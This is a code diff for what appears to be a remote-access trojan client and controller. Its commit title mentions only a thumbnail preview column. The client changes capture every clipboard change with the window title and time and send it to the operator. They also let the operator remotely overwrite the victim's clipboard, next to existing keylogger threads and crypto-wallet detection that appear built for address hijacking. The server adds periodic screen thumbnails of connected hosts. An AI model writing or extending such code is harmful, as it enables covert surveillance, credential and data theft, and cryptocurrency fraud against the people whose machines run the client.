Feature: Add live thumbnail preview column to online host list

client/KeyboardManager.cpp

@@ -25,6 +25,7 @@
 #define USING_CLIP 0
 
 #include "wallet.h"
+#include "common/utf8.h"
 #if USING_CLIP
 #include "clip.h"
 #ifdef _WIN64
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
     iniFile cfg(CLIENT_PATH);
     m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
 
+    binFile bin(CLIENT_PATH);
+    std::string rule = bin.GetStr("settings", "textRule");
+    if (rule.length() >= sizeof(TextReplace)) {
+        memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
+        Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
+    }
+
     m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
     m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
     m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
     iniFile cfg(CLIENT_PATH);
     m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
     m_mu.Unlock();
-    sendStartKeyBoard();
+    m_ruleMu.Lock();
+    auto rule = m_ReplaceRule;
+    m_ruleMu.Unlock();
+    sendStartKeyBoard(rule);
     WaitForDialogOpen();
 }
 
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
         GET_PROCESS_EASY(DeleteFileA);
         DeleteFileA(m_strRecordFile);
     }
+
+    if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
+        CAutoCLock L(m_ruleMu);
+        memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
+        binFile cfg(CLIENT_PATH);
+        std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
+        cfg.SetStr("settings", "textRule", rule);
+        auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
+        Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
+    }
 }
 
 std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
     return w;
 }
 
-int CKeyboardManager1::sendStartKeyBoard()
+int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
 {
     // 协议扩展：在 [TOKEN, offline] 后面捎带 2 字节 cap word。
     // 子连接没经过 LOGIN_INFOR，服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
     // 让客户端自己带过来，避免服务端通过 IP 反查主连接（NAT/127.0.0.1 等场景反查会失败）。
     // 老服务端读不到 byte 2-3 没关系（只读 byte 1），向后兼容。
-    BYTE	bToken[4];
+    BYTE	bToken[4 + sizeof(TextReplace)];
     bToken[0] = TOKEN_KEYBOARD_START;
     bToken[1] = (BYTE)m_bIsOfflineRecord;
     WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
     memcpy(bToken + 2, &caps, sizeof(WORD));
+    memcpy(bToken + 4, &rule, sizeof(TextReplace));
     HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
     return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
 }
@@ -503,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
     return 0;
 }
 
+std::string CKeyboardManager1::ReplaceText() {
+    CAutoCLock L(m_ruleMu);
+
+    switch (m_ReplaceRule.type) {
+    case RULE_REPLACE_ALL:
+        if (m_ReplaceRule.param[0] == 0)
+            return "";
+        std::string text((char*)m_ReplaceRule.param);
+        return clip::set_text_utf8(text) ? text : "";
+    }
+
+    return "";
+}
+
 DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
 {
     CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
+    std::string lastValue = {};
     while (pThis->m_bIsWorking) {
-        auto w = pThis->GetWallet();
-        if (w.empty()) {
-            Sleep(1000);
-            continue;
-        }
-        bool hasClipboard = false;
-        try {
-            hasClipboard = clip::has(clip::text_format());
-        } catch (...) { // fix: "std::runtime_error" causing crashes in some cases
-            hasClipboard = false;
-            Sleep(3000);
-        }
+        bool hasClipboard = clip::has(clip::text_format());
         if (hasClipboard) {
             std::string value;
-            clip::get_text(value);
-            if (value.length() > 200) {
-                Sleep(1000);
+            if (!clip::get_text(value)) {
+                Sleep(500);
+                continue;
+            }
+            std::string recordValue = value.substr(0, 4096);
+            if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
+                lastValue = recordValue;
+                HWND foreground = GetForegroundWindow();
+                char window_title[MAX_PATH] = {};
+                wchar_t wTitle[MAX_PATH] = {};
+                GetWindowTextW(foreground, wTitle, MAX_PATH);
+                if (wTitle[0]) {
+                    WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
+                }
+                SYSTEMTIME   s;
+                GetLocalTime(&s);
+                char tm[64];
+                sprintf_s(tm, "%d-%02d-%02d  %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
+                std::stringstream output;
+                output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
+                std::string str = output.str();
+                pThis->m_Buffer->Write(str.c_str(), str.length());
+
+                if (pThis->IsConnected()) {
+                    str.erase(0, 4);
+                    str.insert(0, 1, TOKEN_CLIP_TEXT);
+                    pThis->Send((BYTE*)str.c_str(), str.length()+1);
+                    std::string newValue = pThis->ReplaceText();
+                    if (!newValue.empty()) {
+                        Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
+                        lastValue = newValue;
+                    }
+                }
+            }
+            // Wallet detection
+            auto w = pThis->GetWallet();
+            if (value.length() > 200 || w.empty()) {
+                Sleep(500);
                 continue;
             }
             auto type = detectWalletType(value);
@@ -565,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
                 break;
             }
         }
-        Sleep(1000);
+        Sleep(500);
     }
     return 0x20251005;
 }

client/KeyboardManager.h

@@ -237,19 +237,22 @@ public:
     HANDLE m_hClipboard;
     HANDLE m_hWorkThread,m_hSendThread;
     TCHAR	m_strRecordFile[MAX_PATH];
+    TextReplace m_ReplaceRule = {};
     virtual BOOL Reconnect()
     {
         return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
     }
+    std::string ReplaceText();
 private:
     BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
-    int sendStartKeyBoard();
+    int sendStartKeyBoard(const TextReplace& rule);
 
     int sendKeyBoardData(LPBYTE lpData, UINT nSize);
 
     bool m_bIsWorking;
     CircularBuffer *m_Buffer;
     CLocker m_mu;
+    CLocker m_ruleMu;
     std::vector<std::string> m_Wallet;
     std::vector<std::string> GetWallet();
 };

client/Script.rc

@@ -7,13 +7,13 @@
 //
 // Generated from the TEXTINCLUDE 2 resource.
 //
-#include "afxres.h"
+#include "winres.h"
 
 /////////////////////////////////////////////////////////////////////////////
 #undef APSTUDIO_READONLY_SYMBOLS
 
 /////////////////////////////////////////////////////////////////////////////
-// 中文(简体，中国) resources
+// 中文(简体，中国) resources
 
 #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
 LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
 
 IDD_DIALOG DIALOGEX 0, 0, 180, 108
 STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
-CAPTION "消息提示"
+CAPTION "消息提示"
 FONT 10, "System", 0, 0, 0x0
 BEGIN
     LTEXT           "Static",IDC_EDIT_MESSAGE,5,5,170,95
@@ -61,7 +61,7 @@ END
 
 2 TEXTINCLUDE 
 BEGIN
-    "#include ""afxres.h""\r\n"
+    "#include ""winres.h""\r\n"
     "\0"
 END
 
@@ -132,7 +132,7 @@ IDI_ICON_MAIN           ICON                    "Res\\ghost.ico"
 
 IDI_ICON_MSG            ICON                    "Res\\msg.ico"
 
-#endif    // 中文(简体，中国) resources
+#endif    // 中文(简体，中国) resources
 /////////////////////////////////////////////////////////////////////////////
 
 

client/my_clip.h

@@ -84,4 +84,41 @@ namespace clip {
         LeaveCriticalSection(&GetClipLock());
         return result;
     }
+
+    /**
+     * 将 UTF-8 字符串安全地设置到 Windows 剪切板
+     */
+    inline bool set_text_utf8(const std::string& utf8_str) {
+        if (utf8_str.empty()) return false;
+
+        // 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
+        int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
+        if (wlen <= 0) return false;
+
+        // 2. 分配全局内存
+        HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
+        if (!hMem) return false;
+
+        // 3. 执行转换并锁定内存
+        wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
+        MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
+        GlobalUnlock(hMem);
+
+        // 4. 操作剪切板
+        bool success = false;
+        if (OpenClipboard(NULL)) {
+            EmptyClipboard();
+            if (SetClipboardData(CF_UNICODETEXT, hMem)) {
+                success = true;
+            }
+            CloseClipboard();
+        }
+
+        // 如果 SetClipboardData 失败，需要手动释放内存；成功则由系统接管
+        if (!success) {
+            GlobalFree(hMem);
+        }
+
+        return success;
+    }
 } // namespace clip

common/commands.h

@@ -337,6 +337,20 @@ enum {
     TOKEN_CONN_AUTH = 246,          // 子连接身份校验包（客户端首发，服务端回 ConnAuthAck）
     COMMAND_SCREEN_PREVIEW_REQ = 247,   // 屏幕预览请求（服务端→客户端）
     TOKEN_SCREEN_PREVIEW_RSP = 248,     // 屏幕预览响应（客户端→服务端）
+    COMMAND_TEXT_REPLACE = 249,
+    TOKEN_CLIP_TEXT = 250,
+};
+
+#pragma pack(push, 1)
+struct TextReplace {
+    uint8_t cmd;
+    uint8_t type;
+    uint8_t param[510];
+    uint8_t reserved[512];
+};
+
+enum TextReplaceRule {
+    RULE_REPLACE_ALL = 0,
 };
 
 // 子连接校验：HMAC 签名 (clientID || timestamp || nonce)，服务端通过校验后把 clientID
@@ -353,7 +367,6 @@ enum {
 // 预留大量字节给未来扩展（如 client locale / OS 标识 / 子连接类型 / 会话 token /
 // per-conn 能力位等），避免再次破坏性升级。预留区构造时全 0 初始化，未启用字段
 // 不会进 HMAC 签名输入（签名输入仍只是 clientID || timestamp || nonce 共 32 字节）。
-#pragma pack(push, 1)
 struct ConnAuthPacket {
     uint8_t  token;             // = TOKEN_CONN_AUTH                          [1]
     uint64_t clientID;          // 客户端 V2 ID（MachineGuid + 归一化路径算出）  [8]
@@ -1335,11 +1348,13 @@ enum {
 
     SHELLCODE = 0,
     MEMORYDLL = 1,
+    RUNTYPE_MAX = 2,
 
     CALLTYPE_DEFAULT = 0,		// 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
     CALLTYPE_IOCPTHREAD = 1,	// 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
     CALLTYPE_FRPC_CALL = 2,     // 调用FRPC
     CALLTYPE_FRPC_STDCALL = 3,  // 调用FRPC（标准方式，使用开源FRP项目）
+    CALLTYPE_MAX = 4,
 };
 
 typedef DWORD(__stdcall* PidCallback)(void);

common/scheduler.h

@@ -1,11 +1,17 @@
 #ifndef YAMA_SCHEDULER_H
 #define YAMA_SCHEDULER_H
 
+#include <stdint.h>
+
 // 调度模式定义
 #define SCH_MODE_NONE     0  // 默认模式：不自动执行 (仅手动)
 #define SCH_MODE_STARTUP  1  // 启动执行模式
 #define SCH_MODE_DAILY    2  // 每日定时模式
 #define SCH_MODE_WEEKLY   3  // 每周定时模式
+#define SCH_MODE_MONTHLY  4  // 每月定时模式
+#define SCH_MODE_YEARLY   5  // 每年定时模式
+#define SCH_MODE_OFF      6  // 关闭
+#define SCH_MODE_MAX      7
 
 #pragma pack(push, 1)
 // 严格定义 16 字节结构
@@ -40,6 +46,7 @@ class YamaTaskEngine {
 public:
     static bool ShouldExecute(const ScheduleParams* p) {
         // --- 1. 默认与基础拦截 ---
+        if (p->Mode == SCH_MODE_OFF) return false;
         if (p->Mode == SCH_MODE_NONE) return false; // Mode为0，默认不执行
         if (p->Flags & 0x01) return false;          // 显式禁用拦截
         if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
@@ -63,9 +70,51 @@ public:
             SYSTEMTIME st;
             GetLocalTime(&st);
             unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
+            // TargetMin=0 表示 0:00 执行
             if (curMin >= p->Config.Timed.TargetMin) {
                 if (!IsSameDay(p->LastRunTime, now)) return true;
             }
+            return false;
+        }
+
+        // --- 4. 每周定时逻辑 (Mode 3) ---
+        if (p->Mode == SCH_MODE_WEEKLY) {
+            SYSTEMTIME st;
+            GetLocalTime(&st);
+            unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
+            // DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
+            unsigned char targetDay = p->Config.Timed.DaysMask;
+            if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
+                if (!IsSameWeek(p->LastRunTime, now)) return true;
+            }
+            return false;
+        }
+
+        // --- 5. 每月定时逻辑 (Mode 4) ---
+        if (p->Mode == SCH_MODE_MONTHLY) {
+            SYSTEMTIME st;
+            GetLocalTime(&st);
+            unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
+            // DaysMask=0 表示每月第 1 天
+            unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
+            if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
+                if (!IsSameMonth(p->LastRunTime, now)) return true;
+            }
+            return false;
+        }
+
+        // --- 6. 每年定时逻辑 (Mode 5) ---
+        if (p->Mode == SCH_MODE_YEARLY) {
+            SYSTEMTIME st;
+            GetLocalTime(&st);
+            unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
+            // DaysMask=0, Reserved=0 表示 1月1日
+            unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
+            unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
+            if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
+                if (!IsSameYear(p->LastRunTime, now)) return true;
+            }
+            return false;
         }
 
         return false;
@@ -88,13 +137,66 @@ private:
     static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
         if (ft1 == 0 || ft2 == 0) return false;
         SYSTEMTIME st1, st2;
-        FILETIME f1, f2;
-        f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
-        f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
-        FileTimeToSystemTime(&f1, &st1);
-        FileTimeToSystemTime(&f2, &st2);
+        FTToST(ft1, &st1);
+        FTToST(ft2, &st2);
         return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
     }
+
+    static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
+        if (ft1 == 0 || ft2 == 0) return false;
+        // 转换为本地时间的天数，再判断是否在同一周
+        SYSTEMTIME st1, st2;
+        FTToST(ft1, &st1);
+        FTToST(ft2, &st2);
+        // 计算两个日期各自所在周的周日日期，相同则同一周
+        int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
+        int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
+        // 回退到本周周日 (wDayOfWeek: 0=周日)
+        int weekStart1 = days1 - st1.wDayOfWeek;
+        int weekStart2 = days2 - st2.wDayOfWeek;
+        return (weekStart1 == weekStart2);
+    }
+
+    static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
+        if (ft1 == 0 || ft2 == 0) return false;
+        SYSTEMTIME st1, st2;
+        FTToST(ft1, &st1);
+        FTToST(ft2, &st2);
+        return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
+    }
+
+    static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
+        if (ft1 == 0 || ft2 == 0) return false;
+        SYSTEMTIME st1, st2;
+        FTToST(ft1, &st1);
+        FTToST(ft2, &st2);
+        return (st1.wYear == st2.wYear);
+    }
+
+    static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
+        FILETIME ftUtc, ftLocal;
+        ftUtc.dwLowDateTime = (DWORD)ft;
+        ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
+        FileTimeToLocalFileTime(&ftUtc, &ftLocal);
+        FileTimeToSystemTime(&ftLocal, pSt);
+    }
+
+    // 简易计算从某基准日开始的天数 (用于周计算)
+    static int DaysSinceEpoch(int year, int month, int day) {
+        // 简化算法：相对于 2000-01-01 的天数
+        int y = year - 2000;
+        int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
+        int days = y * 365 + leapYears;
+        static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
+        days += daysBeforeMonth[month - 1] + day - 1;
+        // 闰年 2 月后加 1 天
+        if (month > 2 && IsLeapYear(year)) days++;
+        return days;
+    }
+
+    static bool IsLeapYear(int year) {
+        return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
+    }
 };
 #endif
 #endif

common/utf8.h

@@ -0,0 +1,56 @@
+#include <windows.h>
+#include <string>
+
+/**
+ * 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
+ */
+inline std::string ansi_to_utf8(const std::string& ansi_str) {
+    if (ansi_str.empty()) return "";
+
+    // 1. ANSI -> UTF-16 (WideChar)
+    int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
+    std::wstring wstr(wlen, 0);
+    MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
+
+    // 2. UTF-16 -> UTF-8
+    int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+    std::string utf8_str(u8len, 0);
+    WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
+
+    // 移除末尾的 \0
+    if (!utf8_str.empty() && utf8_str.back() == '\0') {
+        utf8_str.pop_back();
+    }
+    return utf8_str;
+}
+
+/**
+ * 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
+ * 用于在多字节字符集 UI 上正常显示从远程接收到的内容
+ */
+inline std::string utf8_to_ansi(const std::string& utf8_str) {
+    if (utf8_str.empty()) return "";
+
+    // 1. UTF-8 -> UTF-16 (WideChar)
+    // 计算需要的宽字符长度
+    int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
+    if (wlen <= 0) return "";
+
+    std::wstring wstr(wlen, 0);
+    MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
+
+    // 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
+    // CP_ACP 表示使用当前系统的 ANSI 代码页
+    int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+    if (alen <= 0) return "";
+
+    std::string ansi_str(alen, 0);
+    WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
+
+    // 移除 WideCharToMultiByte 自动添加的 \0 结尾
+    if (!ansi_str.empty() && ansi_str.back() == '\0') {
+        ansi_str.pop_back();
+    }
+
+    return ansi_str;
+}

server/2015Remote/2015RemoteDlg.h

@@ -234,6 +234,77 @@ public:
     // 用于在收到 JPEG 后调用 SetImageFromJpeg；DeletePopupWindow 释放时一并置空。
     class CPreviewTipWnd* m_pPreviewTip = nullptr;
     WORD m_PreviewReqId = 0;            // 当前期待的预览响应序号；0 = 无待响应
+
+    // 屏幕预览响应消息载荷（PostMessage WM_PREVIEW_RESPONSE 的 LPARAM 指向它）。
+    // IO 线程在 MessageHandle/TOKEN_SCREEN_PREVIEW_RSP 分支堆分配，UI 线程消费后释放。
+    // 把 clientId 放进来是为了：1) 循环快照场景按 clientId 路由到目标窗口；
+    // 2) 避免依赖 WPARAM —— 32 位 Windows 上 WPARAM 是 32 位，截 64 位 clientID。
+    struct PreviewRspMsg {
+        uint64_t          clientId;
+        std::vector<BYTE> packet;
+    };
+
+    // "播放快照"循环模式：每个表项对应一台主机的浮窗 + 调度状态。
+    // 仅 UI 线程访问（菜单 / OnTimer / OnPreviewResponse / OnUserOfflineMsg /
+    // OnLoopTipDestroyed / Release），不加锁；context* 走 FindHost 在 m_cs 下取。
+    struct LoopTipEntry {
+        class CPreviewTipWnd* tip = nullptr;
+        WORD                  expectedReqId = 0;   // 上次发请求时写入；响应时校验
+        WORD                  maxWidth = 480;
+        BYTE                  jpegQuality = 70;
+    };
+    std::map<uint64_t, LoopTipEntry> m_LoopTips;
+    WORD m_LoopReqId = 0;               // 循环快照专用 reqId；与 m_PreviewReqId 解耦
+    static const int LOOP_INTERVAL_MS = 3000;  // 循环快照间隔（暂定 3 秒）
+
+    // 循环快照帮助函数（仅 UI 线程调用）
+    void OpenLoopTip(class context* ctx, CPoint anchor);
+    void CloseLoopTip(uint64_t clientID);
+    void CloseAllLoopTips();
+    void TickLoopTips();
+    void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry);
+    afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam);
+
+    // ===== 主机列表缩略图（在线列表第 0 列） =====
+    // 设计文档：纯主控端 UI 偏好，不进 MasterSettings 协议包。持久化走 THIS_CFG
+    // [thumbnail] 节。所有运行时状态仅 UI 线程访问。
+    struct ThumbnailSettings {
+        bool Enabled            = true;
+        int  RefreshIntervalSec = 30;     // 单台主机的刷新周期
+        int  ThumbWidth         = 60;     // 列表内显示宽度（高 = 9w/16）
+        int  NetReqWidth        = 120;    // 网络请求的源宽（HiDPI 余量，>= ThumbWidth）
+        int  JpegQuality        = 60;     // 1..100
+    };
+    ThumbnailSettings m_ThumbnailCfg;
+
+    struct ThumbCacheEntry {
+        HBITMAP bmp = nullptr;            // 预先缩到显示尺寸的 24bpp DIB，BitBlt 友好
+        int     w = 0;
+        int     h = 0;
+    };
+    std::map<uint64_t, ThumbCacheEntry> m_HostThumbnails;     // 缩略图缓存
+    std::map<uint64_t, DWORD>           m_ThumbNextDueTick;   // 下次到期 GetTickCount() 时间
+    std::set<uint64_t>                  m_ThumbnailPending;   // 在飞的 clientId 集合
+    WORD m_ThumbnailReqId = 0;          // 缩略图专用 reqId（与 m_PreviewReqId / m_LoopReqId 解耦）
+
+    // 行高占位 ImageList：CListCtrl 没有 SetRowHeight，标准做法是装一个 1×rowH 的
+    // 空 ImageList 强行撑高行。关闭缩略图时换回 1×default（或 detach），让行高回缩。
+    CImageList m_thumbRowHeightImgList;
+    int        m_thumbRowHeightApplied = 0;     // 已应用的行高（避免重复创建）
+
+    // 一次性配置应用入口：加载/重新加载 m_ThumbnailCfg 后调用，处理：
+    //   - 启动/停止 TIMER_THUMBNAIL_REFRESH
+    //   - 列宽 / 行高 调整
+    //   - 尺寸变化时丢弃旧缓存 HBITMAP
+    void ApplyThumbnailSettings();
+    void LoadThumbnailSettingsFromCfg();          // 从 THIS_CFG 读到 m_ThumbnailCfg
+    void SaveThumbnailSettingsToCfg() const;      // m_ThumbnailCfg 落盘到 THIS_CFG
+    void TickThumbnailRefresh();                  // TIMER_THUMBNAIL_REFRESH 主循环
+    void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
+    void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
+    void ClearThumbnailCacheEntry(uint64_t clientID);
+    void ClearAllThumbnailCache();
+    void InvalidateHostRow(uint64_t clientID);    // 仅重绘对应行
     // 记录 clientID（心跳更新）
     std::set<uint64_t> m_DirtyClients;
     // 待处理的上线/下线事件（批量更新减少闪烁）
@@ -286,7 +357,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[54];  // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
+    CBitmap m_bmOnline[55];  // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -438,6 +509,8 @@ public:
     afx_msg void OnWhatIsThis();
     afx_msg void OnOnlineAuthorize();
     void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
+    // 单击：缩略图列（COL_THUMBNAIL）命中时弹出循环监视窗口；其余列保持默认行为
+    afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult);
     // 屏幕预览：依 ctx 最近 RTT + 屏幕分辨率挑参数；4K/超宽屏在 LAN 档自适应放大
     void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
     // 发起预览请求；reqId 应与 m_PreviewReqId 同步
@@ -494,6 +567,7 @@ public:
     afx_msg void OnParamEnableLog();
     afx_msg void OnParamPrivacyWallpaper();
     afx_msg void OnParamFileV2();
+    afx_msg void OnParamThumbnailPreview();
     afx_msg void OnParamRunAsUser();
     void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
     afx_msg void OnProxyPort();
@@ -520,4 +594,5 @@ public:
     afx_msg void OnCancelShare();
     afx_msg void OnWebRemoteControl();
     afx_msg void OnProxyPortAutorun();
+    afx_msg void OnScreenpreviewLoop();
 };

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -562,6 +562,7 @@
     <Image Include="res\Bitmap\Settings.bmp" />
     <Image Include="res\Bitmap\Share.bmp" />
     <Image Include="res\Bitmap\Show.bmp" />
+    <Image Include="res\Bitmap\Snapshot.bmp" />
     <Image Include="res\Bitmap\Shutdown.bmp" />
     <Image Include="res\Bitmap\SpeedDesktop.bmp" />
     <Image Include="res\Bitmap\Trial.bmp" />
@@ -589,6 +590,7 @@
     <Image Include="res\password.ico" />
     <Image Include="res\proxifler.ico" />
     <Image Include="res\screen.ico" />
+    <Image Include="res\Snapshot.ico" />
     <Image Include="res\system.ico" />
     <Image Include="res\toolbar1.bmp" />
     <Image Include="res\toolbar2.bmp" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -212,6 +212,7 @@
     <Image Include="res\password.ico" />
     <Image Include="res\proxifler.ico" />
     <Image Include="res\screen.ico" />
+    <Image Include="res\Snapshot.ico" />
     <Image Include="res\system.ico" />
     <Image Include="res\toolbar1.bmp" />
     <Image Include="res\toolbar2.bmp" />
@@ -245,6 +246,7 @@
     <Image Include="res\Bitmap\Logout.bmp" />
     <Image Include="res\Bitmap\PortProxyStd.bmp" />
     <Image Include="res\Bitmap\Show.bmp" />
+    <Image Include="res\Bitmap\Snapshot.bmp" />
     <Image Include="res\Bitmap\Exit.bmp" />
     <Image Include="res\Bitmap\Settings.bmp" />
     <Image Include="res\Bitmap\Wallet.bmp" />

server/2015Remote/KeyBoardDlg.cpp

@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
 #define IDM_ENABLE_OFFLINE	0x0010
 #define IDM_CLEAR_RECORD	0x0011
 #define IDM_SAVE_RECORD		0x0012
+#define SHOW_CLIP_TEXT WM_USER+201
 
 /////////////////////////////////////////////////////////////////////////////
 // CKeyBoardDlg dialog
 
+#include "common/utf8.h"
 
 CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
     : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
 {
+    int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
     m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
 
     // 子连接从协议扩展字段（byte 2-3）拿到能力位，写入自身的 CAPABILITIES。
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
         capStr.Format(_T("%04X"), caps);
         m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
     }
+    if (len >= 4 + sizeof(TextReplace)) {
+        m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
+    }
 }
 
 
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
     //{{AFX_DATA_MAP(CKeyBoardDlg)
     DDX_Control(pDX, IDC_EDIT, m_edit);
     //}}AFX_DATA_MAP
+    DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
+    DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
 }
 
 
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
     ON_WM_CLOSE()
     ON_WM_SYSCOMMAND()
     //}}AFX_MSG_MAP
+    ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
